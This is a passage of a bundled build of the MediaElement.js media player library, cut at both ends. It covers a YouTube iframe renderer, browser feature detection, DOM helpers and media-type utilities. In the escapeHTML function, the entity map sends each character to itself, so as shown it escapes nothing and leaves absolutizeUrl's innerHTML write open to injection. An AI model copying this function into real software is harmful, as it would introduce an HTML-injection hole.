mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles); } } }); var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); return node; } }; _window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement; _renderer.renderer.add(HtmlMediaElement); },{"16":16,"18":18,"2":2,"3":3,"7":7,"8":8}],15:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var YouTubeApi = { isIframeStarted: false, isIframeLoaded: false, iframeQueue: [], enqueueIframe: function enqueueIframe(settings) { YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded; if (YouTubeApi.isLoaded) { YouTubeApi.createIframe(settings); } else { YouTubeApi.loadIframeApi(); YouTubeApi.iframeQueue.push(settings); } }, loadIframeApi: function loadIframeApi() { if (!YouTubeApi.isIframeStarted) { (0, _dom.loadScript)('https://www.youtube.com/player_api'); YouTubeApi.isIframeStarted = true; } }, iFrameReady: function iFrameReady() { YouTubeApi.isLoaded = true; YouTubeApi.isIframeLoaded = true; while (YouTubeApi.iframeQueue.length > 0) { var settings = YouTubeApi.iframeQueue.pop(); YouTubeApi.createIframe(settings); } }, createIframe: function createIframe(settings) { return new YT.Player(settings.containerId, settings); }, getYouTubeId: function getYouTubeId(url) { var youTubeId = ''; if (url.indexOf('?') > 0) { youTubeId = YouTubeApi.getYouTubeIdFromParam(url); if (youTubeId === '') { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } } else { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1); youTubeId = id.split('?'); return youTubeId[0]; }, getYouTubeIdFromParam: function getYouTubeIdFromParam(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'), parameters = parts[1].split('&'); var youTubeId = ''; for (var i = 0, total = parameters.length; i < total; i++) { var paramParts = parameters[i].split('='); if (paramParts[0] === 'v') { youTubeId = paramParts[1]; break; } } return youTubeId; }, getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'); url = parts[0]; return url.substring(url.lastIndexOf('/') + 1); }, getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) { if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) { return url; } var parts = url.split('/'); parts[2] = parts[2].replace('.com', '-nocookie.com'); return parts.join('/'); } }; var YouTubeIframeRenderer = { name: 'youtube_iframe', options: { prefix: 'youtube_iframe', youtube: { autoplay: 0, controls: 0, disablekb: 1, end: 0, loop: 0, modestbranding: 0, playsinline: 0, rel: 0, showinfo: 0, start: 0, iv_load_policy: 3, nocookie: false, imageQuality: null } }, canPlayType: function canPlayType(type) { return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var youtube = {}, apiStack = [], readyState = 4; var youTubeApi = null, paused = true, ended = false, youTubeIframe = null, volume = 1; youtube.options = options; youtube.id = mediaElement.id + '_' + options.prefix; youtube.mediaElement = mediaElement; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['get' + capName] = function () { if (youTubeApi !== null) { var value = null; switch (propName) { case 'currentTime': return youTubeApi.getCurrentTime(); case 'duration': return youTubeApi.getDuration(); case 'volume': volume = youTubeApi.getVolume() / 100; return volume; case 'playbackRate': return youTubeApi.getPlaybackRate(); case 'paused': return paused; case 'ended': return ended; case 'muted': return youTubeApi.isMuted(); case 'buffered': var percentLoaded = youTubeApi.getVideoLoadedFraction(), duration = youTubeApi.getDuration(); return { start: function start() { return 0; }, end: function end() { return percentLoaded * duration; }, length: 1 }; case 'src': return youTubeApi.getVideoUrl(); case 'readyState': return readyState; } return value; } else { return null; } }; youtube['set' + capName] = function (value) { if (youTubeApi !== null) { switch (propName) { case 'src': var url = typeof value === 'string' ? value : value[0].src, _videoId = YouTubeApi.getYouTubeId(url); if (mediaElement.originalNode.autoplay) { youTubeApi.loadVideoById(_videoId); } else { youTubeApi.cueVideoById(_videoId); } break; case 'currentTime': youTubeApi.seekTo(value); break; case 'muted': if (value) { youTubeApi.mute(); } else { youTubeApi.unMute(); } setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'volume': volume = value; youTubeApi.setVolume(value * 100); setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'playbackRate': youTubeApi.setPlaybackRate(value); setTimeout(function () { var event = (0, _general.createEvent)('ratechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'readyState': var event = (0, _general.createEvent)('canplay', youtube); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { youtube[methodName] = function () { if (youTubeApi !== null) { switch (methodName) { case 'play': paused = false; return youTubeApi.playVideo(); case 'pause': paused = true; return youTubeApi.pauseVideo(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var errorHandler = function errorHandler(error) { var message = ''; switch (error.data) { case 2: message = 'The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.'; break; case 5: message = 'The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.'; break; case 100: message = 'The video requested was not found. Either video has been removed or has been marked as private.'; break; case 101: case 105: message = 'The owner of the requested video does not allow it to be played in embedded players.'; break; default: message = 'Unknown error.'; break; } mediaElement.generateError('Code ' + error.data + ': ' + message, mediaFiles); }; var youtubeContainer = _document2.default.createElement('div'); youtubeContainer.id = youtube.id; if (youtube.options.youtube.nocookie) { mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src); } mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio', height = isAudio ? '1' : mediaElement.originalNode.height, width = isAudio ? '1' : mediaElement.originalNode.width, videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src), youtubeSettings = { id: youtube.id, containerId: youtubeContainer.id, videoId: videoId, height: height, width: width, playerVars: Object.assign({ controls: 0, rel: 0, disablekb: 1, showinfo: 0, modestbranding: 0, html5: 1, iv_load_policy: 3 }, youtube.options.youtube), origin: _window2.default.location.host, events: { onReady: function onReady(e) { mediaElement.youTubeApi = youTubeApi = e.target; mediaElement.youTubeState = { paused: true, ended: false }; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { youtube[stackItem.methodName](); } } } youTubeIframe = youTubeApi.getIframe(); if (mediaElement.originalNode.muted) { youTubeApi.mute(); } var events = ['mouseover', 'mouseout'], assignEvents = function assignEvents(e) { var newEvent = (0, _general.createEvent)(e.type, youtube); mediaElement.dispatchEvent(newEvent); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { youTubeIframe.addEventListener(events[_i3], assignEvents, false); } var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) { var event = (0, _general.createEvent)(initEvents[_i4], youtube); mediaElement.dispatchEvent(event); } }, onStateChange: function onStateChange(e) { var events = []; switch (e.data) { case -1: events = ['loadedmetadata']; paused = true; ended = false; break; case 0: events = ['ended']; paused = false; ended = !youtube.options.youtube.loop; if (!youtube.options.youtube.loop) { youtube.stopInterval(); } break; case 1: events = ['play', 'playing']; paused = false; ended = false; youtube.startInterval(); break; case 2: events = ['pause']; paused = true; ended = false; youtube.stopInterval(); break; case 3: events = ['progress']; ended = false; break; case 5: events = ['loadeddata', 'loadedmetadata', 'canplay']; paused = true; ended = false; break; } for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) { var event = (0, _general.createEvent)(events[_i5], youtube); mediaElement.dispatchEvent(event); } }, onError: function onError(e) { return errorHandler(e); } } }; if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) { youtubeSettings.playerVars.playsinline = 1; } if (mediaElement.originalNode.controls) { youtubeSettings.playerVars.controls = 1; } if (mediaElement.originalNode.autoplay) { youtubeSettings.playerVars.autoplay = 1; } if (mediaElement.originalNode.loop) { youtubeSettings.playerVars.loop = 1; } if ((youtubeSettings.playerVars.loop && parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf('loop=') > -1) && !youtubeSettings.playerVars.playlist && mediaElement.originalNode.src.indexOf('playlist=') === -1) { youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); } YouTubeApi.enqueueIframe(youtubeSettings); youtube.onEvent = function (eventName, player, _youTubeState) { if (_youTubeState !== null && _youTubeState !== undefined) { mediaElement.youTubeState = _youTubeState; } }; youtube.setSize = function (width, height) { if (youTubeApi !== null) { youTubeApi.setSize(width, height); } }; youtube.hide = function () { youtube.stopInterval(); youtube.pause(); if (youTubeIframe) { youTubeIframe.style.display = 'none'; } }; youtube.show = function () { if (youTubeIframe) { youTubeIframe.style.display = ''; } }; youtube.destroy = function () { youTubeApi.destroy(); }; youtube.interval = null; youtube.startInterval = function () { youtube.interval = setInterval(function () { var event = (0, _general.createEvent)('timeupdate', youtube); mediaElement.dispatchEvent(event); }, 250); }; youtube.stopInterval = function () { if (youtube.interval) { clearInterval(youtube.interval); } }; youtube.getPosterUrl = function () { var quality = options.youtube.imageQuality, resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'], id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : ''; }; return youtube; } }; _window2.default.onYouTubePlayerAPIReady = function () { YouTubeApi.iFrameReady(); }; _media.typeChecks.push(function (url) { return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null ); }); _renderer.renderer.add(YouTubeIframeRenderer); },{"17":17,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],16:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NAV = exports.NAV = _window2.default.navigator; var UA = exports.UA = NAV.userAgent.toLowerCase(); var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream; var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream; var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream; var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream; var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA); var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName); var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default); var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA); var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA); var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME; var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA); var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default; var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () { var element = _document2.default.createElement('x'), documentElement = _document2.default.documentElement, getComputedStyle = _window2.default.getComputedStyle; if (!('pointerEvents' in element.style)) { return false; } element.style.pointerEvents = 'auto'; element.style.pointerEvents = 'x'; documentElement.appendChild(element); var supports = getComputedStyle && (getComputedStyle(element, '') || {}).pointerEvents === 'auto'; element.remove(); return !!supports; }(); var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () { var supportsPassive = false; try { var opts = Object.defineProperty({}, 'passive', { get: function get() { supportsPassive = true; } }); _window2.default.addEventListener('test', null, opts); } catch (e) {} return supportsPassive; }(); var html5Elements = ['source', 'track', 'audio', 'video']; var video = void 0; for (var i = 0, total = html5Elements.length; i < total; i++) { video = _document2.default.createElement(html5Elements[i]); } var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE && /edge/i.test(UA); var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined; var hasNativeFullscreen = video.requestFullscreen !== undefined; if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) { hasNativeFullscreen = false; hasiOSFullScreen = false; } var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined; var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined; var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined; var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen; var nativeFullScreenEnabled = hasTrueNativeFullScreen; var fullScreenEventName = ''; var isFullScreen = void 0, requestFullScreen = void 0, cancelFullScreen = void 0; if (hasMozNativeFullScreen) { nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled; } else if (hasMsNativeFullScreen) { nativeFullScreenEnabled = _document2.default.msFullscreenEnabled; } if (IS_CHROME) { hasiOSFullScreen = false; } if (hasTrueNativeFullScreen) { if (hasWebkitNativeFullScreen) { fullScreenEventName = 'webkitfullscreenchange'; } else if (hasMozNativeFullScreen) { fullScreenEventName = 'fullscreenchange'; } else if (hasMsNativeFullScreen) { fullScreenEventName = 'MSFullscreenChange'; } exports.isFullScreen = isFullScreen = function isFullScreen() { if (hasMozNativeFullScreen) { return _document2.default.mozFullScreen; } else if (hasWebkitNativeFullScreen) { return _document2.default.webkitIsFullScreen; } else if (hasMsNativeFullScreen) { return _document2.default.msFullscreenElement !== null; } }; exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) { if (hasWebkitNativeFullScreen) { el.webkitRequestFullScreen(); } else if (hasMozNativeFullScreen) { el.mozRequestFullScreen(); } else if (hasMsNativeFullScreen) { el.msRequestFullscreen(); } }; exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() { if (hasWebkitNativeFullScreen) { _document2.default.webkitCancelFullScreen(); } else if (hasMozNativeFullScreen) { _document2.default.mozCancelFullScreen(); } else if (hasMsNativeFullScreen) { _document2.default.msExitFullscreen(); } }; } var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen; var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen; var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen; var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen; var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen; var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen; var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled; var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName; exports.isFullScreen = isFullScreen; exports.requestFullScreen = requestFullScreen; exports.cancelFullScreen = cancelFullScreen; _mejs2.default.Features = _mejs2.default.Features || {}; _mejs2.default.Features.isiPad = IS_IPAD; _mejs2.default.Features.isiPod = IS_IPOD; _mejs2.default.Features.isiPhone = IS_IPHONE; _mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad; _mejs2.default.Features.isAndroid = IS_ANDROID; _mejs2.default.Features.isIE = IS_IE; _mejs2.default.Features.isEdge = IS_EDGE; _mejs2.default.Features.isChrome = IS_CHROME; _mejs2.default.Features.isFirefox = IS_FIREFOX; _mejs2.default.Features.isSafari = IS_SAFARI; _mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID; _mejs2.default.Features.hasMSE = HAS_MSE; _mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS; _mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS; _mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT; _mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN; _mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN; _mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED; _mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME; _mejs2.default.Features.isFullScreen = isFullScreen; _mejs2.default.Features.requestFullScreen = requestFullScreen; _mejs2.default.Features.cancelFullScreen = cancelFullScreen; },{"2":2,"3":3,"7":7}],17:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.removeClass = exports.addClass = exports.hasClass = undefined; exports.loadScript = loadScript; exports.offset = offset; exports.toggleClass = toggleClass; exports.fadeOut = fadeOut; exports.fadeIn = fadeIn; exports.siblings = siblings; exports.visible = visible; exports.ajax = ajax; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function loadScript(url) { return new Promise(function (resolve, reject) { var script = _document2.default.createElement('script'); script.src = url; script.async = true; script.onload = function () { script.remove(); resolve(); }; script.onerror = function () { script.remove(); reject(); }; _document2.default.head.appendChild(script); }); } function offset(el) { var rect = el.getBoundingClientRect(), scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft, scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop; return { top: rect.top + scrollTop, left: rect.left + scrollLeft }; } var hasClassMethod = void 0, addClassMethod = void 0, removeClassMethod = void 0; if ('classList' in _document2.default.documentElement) { hasClassMethod = function hasClassMethod(el, className) { return el.classList !== undefined && el.classList.contains(className); }; addClassMethod = function addClassMethod(el, className) { return el.classList.add(className); }; removeClassMethod = function removeClassMethod(el, className) { return el.classList.remove(className); }; } else { hasClassMethod = function hasClassMethod(el, className) { return new RegExp('\\b' + className + '\\b').test(el.className); }; addClassMethod = function addClassMethod(el, className) { if (!hasClass(el, className)) { el.className += ' ' + className; } }; removeClassMethod = function removeClassMethod(el, className) { el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); }; } var hasClass = exports.hasClass = hasClassMethod; var addClass = exports.addClass = addClassMethod; var removeClass = exports.removeClass = removeClassMethod; function toggleClass(el, className) { hasClass(el, className) ? removeClass(el, className) : addClass(el, className); } function fadeOut(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 1; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(1 - progress / duration, 2); el.style.opacity = opacity < 0 ? 0 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function fadeIn(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 0; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(progress / duration, 2); el.style.opacity = opacity > 1 ? 1 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function siblings(el, filter) { var siblings = []; el = el.parentNode.firstChild; do { if (!filter || filter(el)) { siblings.push(el); } } while (el = el.nextSibling); return siblings; } function visible(elem) { if (elem.getClientRects !== undefined && elem.getClientRects === 'function') { return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length); } return !!(elem.offsetWidth || elem.offsetHeight); } function ajax(url, dataType, success, error) { var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); var type = 'application/x-www-form-urlencoded; charset=UTF-8', completed = false, accept = '*/'.concat('*'); switch (dataType) { case 'text': type = 'text/plain'; break; case 'json': type = 'application/json, text/javascript'; break; case 'html': type = 'text/html'; break; case 'xml': type = 'application/xml, text/xml'; break; } if (type !== 'application/x-www-form-urlencoded') { accept = type + ', */*; q=0.01'; } if (xhr) { xhr.open('GET', url, true); xhr.setRequestHeader('Accept', accept); xhr.onreadystatechange = function () { if (completed) { return; } if (xhr.readyState === 4) { if (xhr.status === 200) { completed = true; var data = void 0; switch (dataType) { case 'json': data = JSON.parse(xhr.responseText); break; case 'xml': data = xhr.responseXML; break; default: data = xhr.responseText; break; } success(data); } else if (typeof error === 'function') { error(xhr.status); } } }; xhr.send(); } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.offset = offset; _mejs2.default.Utils.hasClass = hasClass; _mejs2.default.Utils.addClass = addClass; _mejs2.default.Utils.removeClass = removeClass; _mejs2.default.Utils.toggleClass = toggleClass; _mejs2.default.Utils.fadeIn = fadeIn; _mejs2.default.Utils.fadeOut = fadeOut; _mejs2.default.Utils.siblings = siblings; _mejs2.default.Utils.visible = visible; _mejs2.default.Utils.ajax = ajax; _mejs2.default.Utils.loadScript = loadScript; },{"2":2,"3":3,"7":7}],18:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.escapeHTML = escapeHTML; exports.debounce = debounce; exports.isObjectEmpty = isObjectEmpty; exports.splitEvents = splitEvents; exports.createEvent = createEvent; exports.isNodeAfter = isNodeAfter; exports.isString = isString; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function escapeHTML(input) { if (typeof input !== 'string') { throw new Error('Argument passed must be a string'); } var map = { '&': '&', '<': '<', '>': '>', '"': '"' }; return input.replace(/[&<>"]/g, function (c) { return map[c]; }); } function debounce(func, wait) { var _this = this, _arguments = arguments; var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (typeof func !== 'function') { throw new Error('First argument must be a function'); } if (typeof wait !== 'number') { throw new Error('Second argument must be a numeric value'); } var timeout = void 0; return function () { var context = _this, args = _arguments; var later = function later() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } function isObjectEmpty(instance) { return Object.getOwnPropertyNames(instance).length <= 0; } function splitEvents(events, id) { var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/; var ret = { d: [], w: [] }; (events || '').split(' ').forEach(function (v) { var eventName = '' + v + (id ? '.' + id : ''); if (eventName.startsWith('.')) { ret.d.push(eventName); ret.w.push(eventName); } else { ret[rwindow.test(v) ? 'w' : 'd'].push(eventName); } }); ret.d = ret.d.join(' '); ret.w = ret.w.join(' '); return ret; } function createEvent(eventName, target) { if (typeof eventName !== 'string') { throw new Error('Event name must be a string'); } var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i), detail = { target: target }; if (eventFrags !== null) { eventName = eventFrags[1]; detail.namespace = eventFrags[2]; } return new window.CustomEvent(eventName, { detail: detail }); } function isNodeAfter(sourceNode, targetNode) { return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2); } function isString(value) { return typeof value === 'string'; } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.escapeHTML = escapeHTML; _mejs2.default.Utils.debounce = debounce; _mejs2.default.Utils.isObjectEmpty = isObjectEmpty; _mejs2.default.Utils.splitEvents = splitEvents; _mejs2.default.Utils.createEvent = createEvent; _mejs2.default.Utils.isNodeAfter = isNodeAfter; _mejs2.default.Utils.isString = isString; },{"7":7}],19:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.typeChecks = undefined; exports.absolutizeUrl = absolutizeUrl; exports.formatType = formatType; exports.getMimeFromType = getMimeFromType; exports.getTypeFromFile = getTypeFromFile; exports.getExtension = getExtension; exports.normalizeExtension = normalizeExtension; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(18); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var typeChecks = exports.typeChecks = []; function absolutizeUrl(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var el = document.createElement('div'); el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>'; return el.firstChild.href; } function formatType(url) { var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; return url && !type ? getTypeFromFile(url) : type; } function getMimeFromType(type) { if (typeof type !== 'string') { throw new Error('`type` argument must be a string'); } return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type; } function getTypeFromFile(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } for (var i = 0, total = typeChecks.length; i < total; i++) { var type = typeChecks[i](url); if (type) { return type; } } var ext = getExtension(url), normalizedExt = normalizeExtension(ext); var mime = 'video/mp4'; if (normalizedExt) { if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg', 'mov'].indexOf(normalizedExt)) { mime = 'video/' + normalizedExt; } else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) { mime = 'audio/' + normalizedExt; } } return mime; } function getExtension(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var baseUrl = url.split('?')[0], baseName = baseUrl.split('\\').pop().split('/').pop(); return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : ''; } function normalizeExtension(extension) { if (typeof extension !== 'string') { throw new Error('`extension` argument must be a string'); } switch (extension) { case 'mp4': case 'm4v': return 'mp4'; case 'webm': case 'webma': case 'webmv': return 'webm'; case 'ogg': case 'oga': case 'ogv': return 'ogg'; default: return extension; } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.typeChecks = typeChecks; _mejs2.default.Utils.absolutizeUrl = absolutizeUrl; _mejs2.default.Utils.formatType = formatType; _mejs2.default.Utils.getMimeFromType = getMimeFromType; _mejs2.default.Utils.getTypeFromFile = getTypeFromFile; _mejs2.default.Utils.getExtension = getExtension; _mejs2.default.Utils.normalizeExtension = normalizeExtension; },{"18":18,"7":7}],20:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _promisePolyfill = _dereq_(4); var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); (function () { if (typeof 